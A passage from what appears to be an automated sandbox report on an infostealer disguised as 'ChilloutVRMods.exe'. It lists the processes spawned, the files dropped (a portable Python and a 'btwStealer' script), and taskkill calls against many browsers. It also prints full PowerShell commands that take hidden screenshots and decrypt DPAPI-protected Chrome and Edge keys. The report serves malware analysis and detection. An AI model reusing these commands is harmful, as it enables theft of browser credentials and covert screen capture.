/IM opera.exe" (UID: 00000000-00006456), Spawned process "taskkill.exe" with commandline "taskkill /F /IM firefox.exe" (UID: 00000000-00002056), Spawned process "taskkill.exe" with commandline "taskkill /F /IM chrome.exe" (UID: 00000000-00008480), Spawned process "taskkill.exe" with commandline "taskkill /F /IM chrome.exe" (UID: 00000000-00008372), Spawned process "taskkill.exe" with commandline "taskkill /F /IM vivaldi.exe" (UID: 00000000-00008568), Spawned process "taskkill.exe" with commandline "taskkill /F /IM browser.exe" (UID: 00000000-00001072), Spawned process "taskkill.exe" with commandline "taskkill /F /IM browser.exe" (UID: 00000000-00002300), Spawned process "taskkill.exe" with commandline "taskkill /F /IM QQBrowser.exe" (UID: 00000000-00003748), Spawned process "taskkill.exe" with commandline "taskkill /F /IM 360chrome.exe" (UID: 00000000-00004492)50:Tad4,Spawned process "zeppskdd.exe" (UID: 00000000-00004592) Spawned process "cmd.exe" with commandline "/d /s /c "powershell -ExecutionPolicy Bypass -NoProfile -WindowS ..." (UID: 00000000-00001732), Spawned process "powershell.exe" with commandline "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidd ..." (UID: 00000000-00005884), Spawned process "cmd.exe" with commandline "/d /s /c "cscript //nologo //B "%TEMP%\\system_check_17882807491 ..." (UID: 00000000-00008912), Spawned process "cscript.exe" with commandline "cscript //nologo //B "%TEMP%\\system_check_1788280749172.vbs"" (UID: 00000000-00004004), Spawned process "python.exe" with commandline "-m pip install --no-cache-dir --no-warn-script-location --disabl ..." (UID: 00000000-00000636), Spawned process "python.exe" with commandline "-m pip install --no-cache-dir --no-warn-script-location --disabl ..." (UID: 00000000-00007668), Spawned process "python.exe" with commandline "-m pip install --no-cache-dir --no-warn-script-location --disabl ..." (UID: 00000000-00008784), Spawned process "cmd.exe" with commandline "/c "ver"" (UID: 00000000-00003436), Spawned process "cmd.exe" with commandline "/c "ver"" (UID: 00000000-00005596), Spawned process "cmd.exe" with commandline "/c "ver"" (UID: 00000000-00007200), Spawned process "python.exe" with commandline "%LOCALAPPDATA%\\btwStealer-local\\output\\browser_forensics.py" (UID: 00000000-00003736), Spawned process "taskkill.exe" with commandline "taskkill /F /IM chrome.exe" (UID: 00000000-00004388), Spawned process "taskkill.exe" with commandline "taskkill /F /IM brave.exe" (UID: 00000000-00007420), Spawned process "taskkill.exe" with commandline "taskkill /F /IM msedge.exe" (UID: 00000000-00008680), Spawned process "taskkill.exe" with commandline "taskkill /F /IM opera.exe" (UID: 00000000-00006084), Spawned process "taskkill.exe" with commandline "taskkill /F /IM opera.exe" (UID: 00000000-00006456), Spawned process "taskkill.exe" with commandline "taskkill /F /IM firefox.exe" (UID: 00000000-00002056), Spawned process "taskkill.exe" with commandline "taskkill /F /IM chrome.exe" (UID: 00000000-00008480), Spawned process "taskkill.exe" with commandline "taskkill /F /IM chrome.exe" (UID: 00000000-00008372), Spawned process "taskkill.exe" with commandline "taskkill /F /IM vivaldi.exe" (UID: 00000000-00008568), Spawned process "taskkill.exe" with commandline "taskkill /F /IM browser.exe" (UID: 00000000-00001072), Spawned process "taskkill.exe" with commandline "taskkill /F /IM browser.exe" (UID: 00000000-00002300), Spawned process "taskkill.exe" with commandline "taskkill /F /IM QQBrowser.exe" (UID: 00000000-00003748), Spawned process "taskkill.exe" with commandline "taskkill /F /IM 360chrome.exe" (UID: 00000000-00004492)51:Tb20,The input sample is signed with a certificate issued by "CN=YE1, O=Let's Encrypt, C=US" (SHA1: 83:7A:DB:58:F0:94:6A:C8:DF:8B:C5:0B:73:02:36:D3:54:AE:A9:8A; see report for more information) The input sample is signed with a certificate issued by "CN=Root YE, O=ISRG, C=US" (SHA1: D0:93:70:A9:86:49:82:A5:04:7D:A4:63:73:54:02:56:D0:8A:3C:81; see report for more information) The input sample is signed with a certificate issued by "CN=ISRG Root X2, O=Internet Security Research Group, C=US" (SHA1: F3:76:20:FC:4B:1C:DD:D2:A3:D7:4B:1D:5E:8D:B4:2E:24:4C:A0:06; see report for more information) The input sample is signed with a certificate issued by "CN=ISRG Root X1, O=Internet Security Research Group, C=US" (SHA1: 3C:34:E3:56:C7:FC:17:F5:AC:F0:48:24:BC:58:7C:6C:62:39:51:A2; see report for more information) The input sample is signed with a certificate issued by "CN=YE2, O=Let's Encrypt, C=US" (SHA1: F2:36:A9:40:6E:90:4F:BD:D9:B5:9E:B4:63:93:1A:70:F9:2E:3D:FB; see report for more information) The input sample is signed with a certificate issued by "CN=Root YE, O=ISRG, C=US" (SHA1: F8:15:8C:A8:A3:A7:C5:DB:D7:84:22:18:F5:D9:49:CE:C8:3A:CD:BA; see report for more information) The input sample is signed with a certificate issued by "CN=WE1, O=Google Trust Services, C=US" (SHA1: BB:B9:11:EB:A3:CD:25:2D:50:B6:5A:CB:74:BD:B7:75:F2:B5:6E:D9; see report for more information) The input sample is signed with a certificate issued by "CN=GTS Root R4, O=Google Trust Services LLC, C=US" (SHA1: 10:8F:BF:79:4E:18:EC:53:47:A4:14:E4:37:0C:C4:50:6C:29:7A:B2; see report for more information) The input sample is signed with a certificate issued by "CN=GlobalSign Root CA, OU=Root CA, O=GlobalSign nv-sa, C=BE" (SHA1: 93:2B:ED:33:9A:A6:92:12:C8:93:75:B7:93:04:B4:75:49:0B:89:A0; see report for more information) The input sample is signed with a certificate issued by "CN=GlobalSign Atlas R3 DV TLS CA 2025 Q4, O=GlobalSign nv-sa, C=BE" (SHA1: 36:0A:76:32:A6:8F:B2:9C:C6:C1:C4:25:66:45:BA:D2:D2:88:66:84; see report for more information) The input sample is signed with a certificate issued by "CN=GlobalSign, O=GlobalSign, OU=GlobalSign Root CA - R3" (SHA1: FC:FA:4D:AC:C7:66:CE:DD:FD:B0:1A:E9:5B:62:C4:D3:5F:0F:B8:65; see report for more information) The input sample is signed with a certificate issued by "CN=YR2, O=Let's Encrypt, C=US" (SHA1: E8:4F:E5:FE:C1:FC:2C:88:FE:FE:4E:2D:20:BA:AB:DB:2E:32:A8:64; see report for more information) The input sample is signed with a certificate issued by "CN=Root YR, O=ISRG, C=US" (SHA1: 2D:74:D6:DF:D9:6E:EA:55:AD:7B:AA:FA:0D:3C:65:52:B2:DA:DC:37; see report for more information) The input sample is signed with a certificate issued by "CN=ISRG Root X1, O=Internet Security Research Group, C=US" (SHA1: AB:9D:02:63:24:4D:D0:32:6E:B6:70:15:70:5A:66:7E:79:CF:E9:98; see report for more information)52:Tb3b,"ChilloutVRMods.exe" writes to a file "C:\Users\%OSUSER%\AppData\Local\Temp\zeppskdd.exe" "zeppskdd.exe" writes to a file "C:\Users\%OSUSER%\AppData\Local\Temp\SystemService_README.txt" "zeppskdd.exe" writes to a file "C:\Users\%OSUSER%\AppData\Local\Temp\version.txt" "zeppskdd.exe" writes to a file "C:\Users\%OSUSER%\AppData\Local\Temp\system_check_1788280749172.vbs" "zeppskdd.exe" writes to a file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\_rels\.rels" "zeppskdd.exe" writes to a file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\python.nuspec" "zeppskdd.exe" writes to a file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\images\python.png" "zeppskdd.exe" writes to a file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\multiprocessing\shared_memory.py" "zeppskdd.exe" writes to a file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\site-packages\pip\_vendor\urllib3\contrib\__init__.py" "zeppskdd.exe" writes to a file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\LICENSE.txt" "zeppskdd.exe" writes to a file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\asyncio\selector_events.py" "zeppskdd.exe" writes to a file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\multiprocessing\spawn.py" "zeppskdd.exe" writes to a file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\site-packages\pip\_vendor\urllib3\contrib\_securetransport\bindings.py" "zeppskdd.exe" writes to a file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\python.exe" "zeppskdd.exe" writes to a file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\asyncio\sslproto.py" "zeppskdd.exe" writes to a file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\multiprocessing\synchronize.py" "zeppskdd.exe" writes to a file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\site-packages\pip\_vendor\urllib3\contrib\_securetransport\low_level.py" "zeppskdd.exe" writes to a file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\asyncio\staggered.py" "zeppskdd.exe" writes to a file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\multiprocessing\util.py" "zeppskdd.exe" writes to a file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\site-packages\pip\_vendor\urllib3\contrib\_securetransport\__init__.py" "zeppskdd.exe" writes to a file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\asyncio\streams.py" "zeppskdd.exe" writes to a file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\multiprocessing\__init__.py" "zeppskdd.exe" writes to a file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\site-packages\pip\_vendor\urllib3\packages\six.py" "zeppskdd.exe" writes to a file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\asyncio\subprocess.py" "zeppskdd.exe" writes to a file "C:\Users\%OSUSER%\AppData\Local\Temp\WinGet\tools\Lib\multiprocessing\dummy\connection.py"53:T478,file/memory contains long string with (Indicator: "Add-Type"; File: "00000000-00002044") file/memory contains long string with (Indicator: "Add-Type"; File: "00000000-00003696") file/memory contains long string with (Indicator: "Add-Type"; File: "cmd.exe") file/memory contains long string with (Indicator: "Add-Type"; File: "powershell.exe") file/memory contains long string with (Indicator: "Add-Type"; Source: "00000000-00002044.00000000.199435.615E0000.00000004.mdmp, 00000000-00002044.00000001.199487.615E0000.00000004.mdmp") file/memory contains long string with (Indicator: "Add-Type"; Source: "00000000-00002044.00000000.199435.615E0000.00000004.mdmp, 00000000-00002044.00000000.199435.61760000.00000004.mdmp, 00000000-00002044.00000000.199435.62F60000.00000004.mdmp, 00000000-00002044.00000001.199487.615E0000.00000004.mdmp, 00000000-00002044.00000001.199487.61760000.00000004.mdmp, 00000000-00002044.00000001.199487.62F60000.00000004.mdmp") file/memory contains long string with (Indicator: "Add-Type"; Source: "00000000-00003696.00000000.199860.B4590000.00000004.mdmp, 00000000-00003696.00000001.199884.B4590000.00000004.mdmp")54:Tc04,Process "powershell.exe" with commandline "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms System.Drawing; $bounds = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $bitmap = New-Object System.Drawing.Bitmap $bounds.Width $bounds.Height; $graphics = [System.Drawing.Graphics]::FromImage($bitmap); $graphics.CopyFromScreen($bounds.X, $bounds.Y, 0, 0, $bounds.Size); $memoryStream = New-Object System.IO.MemoryStream; $bitmap.Save($memoryStream, [System.Drawing.Imaging.ImageFormat]::Png); $bytes = $memoryStream.ToArray(); [System.Console]::OpenStandardOutput().Write($bytes, 0, $bytes.Length); $bitmap.Dispose(); $graphics.Dispose(); $memoryStream.Dispose();"" (UID: 00000000-00005884) Process "powershell.exe" with commandline "powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAoyGnEnVVSEuL4DXAs8+MihAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAACvvNAVBEJK9OOt7t51xX8eCfEPwq3tb3IlBqpfN6/qiAAAAAA6AAAAAAgAAIAAAANnWClV2sVHUVzQRkcO+3K8li9i6AR6QSEhKWNkXxzh0MAAAAPqJci7wKEknVnmY6KV63CMJ0BeK+eQOHjO/Z20+7dxskyhTGPGIdgYUmGUc7btksEAAAAAcmlLwXU4gAJ9zTqc/NsOmrxA/EHP28xjpOsEP83PNeSuTPcZZzTiJ3JLOLjOl9vpOF2Mlou8q8yYdZdeLEb/e');$p=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($p))"" (UID: 00000000-00002044) Process "powershell.exe" with commandline "powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAI4cbP2MyEUSpL/AqtX1vKBAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAAiQwZLMgQYQB93jcI9afJxjxz+kt1ydh7LTzY11pEMcAAAAAADoAAAAACAAAgAAAA3hy12G1fmhjDO+Wo6wIDfnrOey79Gw9/meLdGEsG6U8wAAAARofjSzQlUi6n9hsA8RD+3/tYyqrMq1W0F5RrY9zq4sjRPkU097zW8IZlORJHSuP3QAAAAMSjIESE6Hw6lBEFUXO+Id1+yyVzLn05kYizt7XFkw9H6zLJVng7ARtcv90UO1WKrnr4CcZo9MR4JG53HEiOrSw=');$p=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($p))"" (UID: 00000000-00003696) Process "powershell.exe" with commandline "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms System.Drawing; $bounds = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $bitmap = New-Object System.Drawing.Bitmap $bounds.Width $bounds.Height; $graphics = [System.Drawing.Graphics]::FromImage($bitmap); $graphics.CopyFromScreen($bounds.X, $bounds.Y, 0, 0, $bounds.Size); $memoryStream = New-Object System.IO.MemoryStream; $bitmap.Save($memoryStream, [System.Drawing.Imaging.ImageFormat]::Png); $bytes = $memoryStream.ToArray(); [System.Console]::OpenStandardOutput().Write($bytes, 0, $bytes.Length); $bitmap.Dispose(); $graphics.Dispose(); $memoryStream.Dispose();"" (UID: 00000000-00004788)55:T8362,"zeppskdd.exe" has type "PE32+ executable for MS Windows 6.00 (console) x86-64 7 sections"- Location: [%TEMP%\zeppskdd.exe]- [targetUID: 00000000-00004592] "python310.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 7 sections"- Location: [%TEMP%\WinGet\tools\python310.dll]- [targetUID: 00000000-00004592] "libcrypto-1_1.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 8 sections"- Location: [%TEMP%\WinGet\tools\DLLs\libcrypto-1_1.dll]- [targetUID: 00000000-00004592] "sqlite3.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\WinGet\tools\DLLs\sqlite3.dll]- [targetUID: 00000000-00004592] "libssl-1_1.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 8 sections"- Location: [%TEMP%\WinGet\tools\DLLs\libssl-1_1.dll]- [targetUID: 00000000-00004592] "python.cat" has type "Unknown"- Location: [%TEMP%\WinGet\tools\DLLs\python.cat]- [targetUID: 00000000-00004592] "python.exe" has type "PE32+ executable for MS Windows 6.00 (console) x86-64 6 sections"- Location: [%TEMP%\WinGet\tools\python.exe]- [targetUID: 00000000-00004592] "vcruntime140.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 7 sections"- Location: [%TEMP%\WinGet\tools\vcruntime140.dll]- [targetUID: 00000000-00008992] "pythonw.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 6 sections"- Location: [%TEMP%\WinGet\tools\pythonw.exe]- [targetUID: 00000000-00004592] "python3.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 2 sections"- Location: [%TEMP%\WinGet\tools\python3.dll]- [targetUID: 00000000-00004592] "vcruntime140_1.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\WinGet\tools\vcruntime140_1.dll]- [targetUID: 00000000-00008992] "system_check_1788280749172.vbs" has type "Unknown"- Location: [%TEMP%\system_check_1788280749172.vbs]- [targetUID: 00000000-00004592] "fetch_macholib.bat" has type "Unknown"- Location: [%TEMP%\WinGet\tools\Lib\ctypes\macholib\fetch_macholib.bat]- [targetUID: 00000000-00004592] "__PSScriptPolicyTest_1mdfxaqi.4os.ps1" has type "Unknown"- Location: [%TEMP%\__PSScriptPolicyTest_1mdfxaqi.4os.ps1]- [targetUID: 00000000-00005884] "python310.zip" has type "NuGet package"- Location: [%TEMP%\python310.zip]- [targetUID: 00000000-00004592] "unicodedata.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\WinGet\tools\DLLs\unicodedata.pyd]- [targetUID: 00000000-00004592] "topics.py" has type "Unknown"- Location: [%TEMP%\WinGet\tools\Lib\pydoc_data\topics.py]- [targetUID: 00000000-00004592] "_decimal.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\WinGet\tools\DLLs\_decimal.pyd]- [targetUID: 00000000-00004592] "pyparsing.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pkg_resources\_vendor\pyparsing.py]- [targetUID: 00000000-00004592] "pyexpat.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\WinGet\tools\DLLs\pyexpat.pyd]- [targetUID: 00000000-00004592] "_ssl.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\WinGet\tools\DLLs\_ssl.pyd]- [targetUID: 00000000-00004592] "_lzma.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\WinGet\tools\DLLs\_lzma.pyd]- [targetUID: 00000000-00004592] "_elementtree.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\WinGet\tools\DLLs\_elementtree.pyd]- [targetUID: 00000000-00004592] "_ctypes.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\WinGet\tools\DLLs\_ctypes.pyd]- [targetUID: 00000000-00004592] "__init__.py" has type "Python script Unicode text UTF-8 text executable"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pkg_resources\__init__.py]- [targetUID: 00000000-00004592] "_sqlite3.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\WinGet\tools\DLLs\_sqlite3.pyd]- [targetUID: 00000000-00004592] "_bz2.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\WinGet\tools\DLLs\_bz2.pyd]- [targetUID: 00000000-00004592] "_socket.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\WinGet\tools\DLLs\_socket.pyd]- [targetUID: 00000000-00004592] "_asyncio.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\WinGet\tools\DLLs\_asyncio.pyd]- [targetUID: 00000000-00004592] "_hashlib.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\WinGet\tools\DLLs\_hashlib.pyd]- [targetUID: 00000000-00004592] "unix_events.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\asyncio\unix_events.py]- [targetUID: 00000000-00004592] "__init__.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\collections\__init__.py]- [targetUID: 00000000-00004592] "ccompiler.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\distutils\ccompiler.py]- [targetUID: 00000000-00004592] "_overlapped.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\WinGet\tools\DLLs\_overlapped.pyd]- [targetUID: 00000000-00004592] "selector_events.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\asyncio\selector_events.py]- [targetUID: 00000000-00004592] "_zoneinfo.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\WinGet\tools\DLLs\_zoneinfo.pyd]- [targetUID: 00000000-00004592] "_msi.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\WinGet\tools\DLLs\_msi.pyd]- [targetUID: 00000000-00004592] "RECORD" has type "Unknown"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip-21.2.3.dist-info\RECORD]- [targetUID: 00000000-00004592] "six.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\_vendor\urllib3\packages\six.py]- [targetUID: 00000000-00004592] "windows_events.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\asyncio\windows_events.py]- [targetUID: 00000000-00004592] "tasks.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\asyncio\tasks.py]- [targetUID: 00000000-00004592] "LICENSE.txt" has type "Unknown"- Location: [%TEMP%\WinGet\tools\LICENSE.txt]- [targetUID: 00000000-00004592] "abstract.h" has type "Unknown"- Location: [%TEMP%\WinGet\tools\include\abstract.h]- [targetUID: 00000000-00004592] "specifiers.py" has type "Python script ASCII text executable"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pkg_resources\_vendor\packaging\specifiers.py]- [targetUID: 00000000-00004592] "process.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\concurrent\futures\process.py]- [targetUID: 00000000-00004592] "_multiprocessing.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\WinGet\tools\DLLs\_multiprocessing.pyd]- [targetUID: 00000000-00004592] "cmdoptions.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\_internal\cli\cmdoptions.py]- [targetUID: 00000000-00004592] "install.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\_internal\commands\install.py]- [targetUID: 00000000-00004592] "sslproto.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\asyncio\sslproto.py]- [targetUID: 00000000-00004592] "_queue.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\WinGet\tools\DLLs\_queue.pyd]- [targetUID: 00000000-00004592] "streams.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\asyncio\streams.py]- [targetUID: 00000000-00004592] "winsound.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\WinGet\tools\DLLs\winsound.pyd]- [targetUID: 00000000-00004592] "select.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\WinGet\tools\DLLs\select.pyd]- [targetUID: 00000000-00004592] "appdirs.py" has type "Python script Unicode text UTF-8 text executable"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pkg_resources\_vendor\appdirs.py]- [targetUID: 00000000-00004592] "tags.py" has type "Python script ASCII text executable"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pkg_resources\_vendor\packaging\tags.py]- [targetUID: 00000000-00004592] "_base.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\concurrent\futures\_base.py]- [targetUID: 00000000-00004592] "retry.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\_vendor\urllib3\util\retry.py]- [targetUID: 00000000-00004592] "_uuid.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\WinGet\tools\DLLs\_uuid.pyd]- [targetUID: 00000000-00004592] "shared_memory.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\multiprocessing\shared_memory.py]- [targetUID: 00000000-00004592] "__init__.py" has type "Unknown"- Location: [%TEMP%\WinGet\tools\Lib\ctypes\__init__.py]- [targetUID: 00000000-00004592] "cmd.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\distutils\cmd.py]- [targetUID: 00000000-00004592] "bindings.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\_vendor\urllib3\contrib\_securetransport\bindings.py]- [targetUID: 00000000-00004592] "ssl_.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\_vendor\urllib3\util\ssl_.py]- [targetUID: 00000000-00004592] "req_command.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\_internal\cli\req_command.py]- [targetUID: 00000000-00004592] "version.py" has type "Python script ASCII text executable"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pkg_resources\_vendor\packaging\version.py]- [targetUID: 00000000-00004592] "bcppcompiler.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\distutils\bcppcompiler.py]- [targetUID: 00000000-00004592] "util.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\multiprocessing\util.py]- [targetUID: 00000000-00004592] "url.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\_vendor\urllib3\util\url.py]- [targetUID: 00000000-00004592] "low_level.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\_vendor\urllib3\contrib\_securetransport\low_level.py]- [targetUID: 00000000-00004592] "util.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\ctypes\util.py]- [targetUID: 00000000-00004592] "configuration.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\_internal\configuration.py]- [targetUID: 00000000-00004592] "exceptions.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\_internal\exceptions.py]- [targetUID: 00000000-00004592] "_aix.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\ctypes\_aix.py]- [targetUID: 00000000-00004592] "wheel_builder.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\_internal\wheel_builder.py]- [targetUID: 00000000-00004592] "list.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\_internal\commands\list.py]- [targetUID: 00000000-00004592] "synchronize.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\multiprocessing\synchronize.py]- [targetUID: 00000000-00004592] "dumb.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\dbm\dumb.py]- [targetUID: 00000000-00004592] "parser.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\_internal\cli\parser.py]- [targetUID: 00000000-00004592] "__init__.py" has type "Python script Unicode text UTF-8 text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\_vendor\webencodings\__init__.py]- [targetUID: 00000000-00004592] "transports.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\asyncio\transports.py]- [targetUID: 00000000-00004592] "build_env.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\_internal\build_env.py]- [targetUID: 00000000-00004592] "timeout.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\_vendor\urllib3\util\timeout.py]- [targetUID: 00000000-00004592] "cache.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\_internal\cache.py]- [targetUID: 00000000-00004592] "spawn.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\multiprocessing\spawn.py]- [targetUID: 00000000-00004592] "markers.py" has type "Python script ASCII text executable"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pkg_resources\_vendor\packaging\markers.py]- [targetUID: 00000000-00004592] "configuration.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\_internal\commands\configuration.py]- [targetUID: 00000000-00004592] "labels.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\site-packages\pip\_vendor\webencodings\labels.py]- [targetUID: 00000000-00004592] "archive_util.py" has type "Python script ASCII text executable with CRLF line terminators"- Location: [%TEMP%\WinGet\tools\Lib\distutils\archive_util.py]- [targetUID: 